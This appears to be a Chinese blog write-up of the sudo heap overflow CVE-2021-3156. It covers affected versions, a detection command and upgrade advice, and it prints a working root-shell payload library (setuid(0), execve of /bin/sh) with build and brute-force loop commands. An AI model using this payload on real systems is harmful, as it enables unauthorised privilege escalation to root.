Linux sudo权限提升漏洞 CVE-2021-3156

漏洞背景

1月26日,Sudo发布了一份安全通知,修复了类似Unix的操作系统在命令参数中避免反斜杠时基于堆的缓冲区溢出漏洞。漏洞等级:高危,漏洞评分:7.0。当sudo在shell模式下通过-s或-i命令行选项运行命令时,它使用反斜杠来转义命令参数中的特殊字符。但是,当使用-s或-i标志运行sudodit时,实际上不会转义,这可能导致缓冲区溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻击者就可以使用sudo来使用本地普通用户获得系统根权限。

漏洞影响版本

受影响版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本

sudo =>1.9.5p2

漏洞检测

用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令。

若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。

漏洞利用

环境

#la.c
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}

执行:

gcc -fpic -shared -nostdlib -o X.so.2  la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

漏洞修复

1、下载升级sudo软件包

2、对于无法立即更新的用户,建议使用systemtap

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章